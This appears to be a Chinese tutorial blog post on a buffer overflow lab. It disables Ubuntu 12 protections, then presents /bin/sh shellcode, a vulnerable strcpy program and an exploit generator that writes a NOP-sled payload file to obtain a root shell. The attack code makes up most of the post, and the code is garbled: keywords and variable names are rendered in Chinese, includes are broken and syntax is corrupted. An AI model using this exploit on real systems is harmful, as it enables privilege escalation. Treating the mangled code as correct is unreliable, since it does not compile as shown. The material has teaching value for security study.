今天给各位分享什么是缓冲区溢出攻击？的知识，其中也会对进行解释，如果能碰巧解决你现在面临的问题，别忘了关注本站，现在开始吧！

通过代码设计和利用缓冲区溢出漏洞获取Ubuntu12的root权限。掌握操作系统（linux OS）保护机制，防止缓冲区溢出攻击。您可以在ubuntu12虚拟机中完成本实验。由于ubuntu中的一些保护机制，缓冲区溢出很难实现。为此，我们需要关闭这些保护机制。

地址空间随机化意味着堆/栈中的起始地址每次都不同。关闭地址随机化

StackGuard Protection是gcc编译器实现的一种安全机制，用于防止缓冲区溢出漏洞。您可以在编译时使用-fno-stack-protector 选项来关闭此机制。堆栈是不可执行的（Non-Executable Stack）。 ubuntu12的默认堆栈是不可执行的。编译时可以使用-z execstack 选项使堆栈可执行。

shellcode

shellcode是一段弹出shell的可执行代码。我们需要将这段可执行代码加载到内核缓冲区中，通过缓冲区溢出漏洞跳转到这段可执行代码，让终端弹出shell。

#include stdio.hint main( ) {char *name[2];name[0]=”/bin/sh”;name[1]=NULL;//execve()//参数1：sh可执行文件文件在系统中的路径指针//参数2：数组指针，传递给可执行文件//参数3：新建环境变量数组，传递给可执行文件execve(name[0], name, NULL);} 执行效果和直接在/bin/目录下执行./sh效果是一样的。

shellcode 是什么样的？

const char code[]=’\x31\xc0′ /* xorl %eax,%eax */’\x50′ /* Pushl %eax */’\x68”//sh’ /* Pushl $0x68732f2f */’ \x68”/bin’ /* Pushl $0x6e69622f */’\x89\xe3′ /* movl %esp,%ebx */’\x50′ /* Pushl %eax */’\x53′ /* Pushl %ebx */’\x89\xe1′ /* movl %esp,%ecx */’\x99′ /* cdq */’\xb0\x0b’ /* movb $0x0b,%al */’\xcd\x80’/* int $0x80 */;如何让shellcode运行？

int main(int argc, char **argv){ char buf[sizeof(code)]; strcpy(buf, 代码); //注意函数指针((void(*)( ))buf)( );}shellcode汇编代码解释

执行该程序堆栈和寄存器中的数据：

The Vulnerable Program

/* stack.c *//* 该程序存在缓冲区溢出漏洞。 *//* 我们的任务是利用这个漏洞*/#include stdlib.h#include stdio.h#include string.hint bof( char *str){ char buffer[24]; /* 以下语句存在缓冲区溢出问题*/strcpy(buffer, str);返回1;}int main(int argc, char **argv){ char str[517];文件*坏文件； badfile=fopen(‘badfile’, ‘r’); fread(str, sizeof(char), 517, badfile); bof(str); printf(‘正确返回\n’); return 1 ;} 当badfile文件中的内容大小小于缓冲区大小时，程序正常。当文件内容大小超过缓冲区大小时，会发生程序异常，发生缓冲区溢出。

exploiting the Vulnerability

利用缓冲区溢出漏洞获取root权限：

/*exploit.c*//* 创建包含启动shell 代码的文件的程序*/#include stdlib.h#include stdio.h#include string.hchar shellcode[]=’\x31\xc0′ /* xorl %eax,%eax */’\x50′ /* Pushl %eax */’\x68”//sh’ /* Pushl $0x68732f2f */’\x68”/bin’ /* Pushl $0x6e69622f */’ \x89\xe3′ /* movl %esp,%ebx */’\x50′ /* Pushl %eax */’\x53′ /* Pushl %ebx */’\x89\xe1′ /* movl %esp,% ecx */’\x99′ /* cdq */’\xb0\x0b’ /* movb $0x0b,%al */’\xcd\x80′ /* int $0x80 */;unsigned long get_sp(){ __asm__( ‘movl %esp,%eax’);}void main(int argc, char **argv){ char 缓冲区[517];文件*坏文件； /* 使用0x90 初始化缓冲区（NOP 指令） */memset(buffer,0x90 , 517); /* 你需要在这里用适当的内容填充缓冲区*/long* addr_ptr,addr;整数偏移量=200； addr=get_sp() + 偏移量； addr_ptr=(长*)缓冲区； for(int i=0;i10;i++) *(addr_ptr++)=addr; memcpy(buffer+sizeof(buffer)-sizeof(shellcode), shellcode,sizeof(shellcode)); /* 将内容保存到文件’badfile’ */badfile=fopen(‘./badfile’, ‘w’); fwrite(缓冲区， 517, 1, 坏文件); fclose(badfile);} 编译并运行程序，即可获得root权限：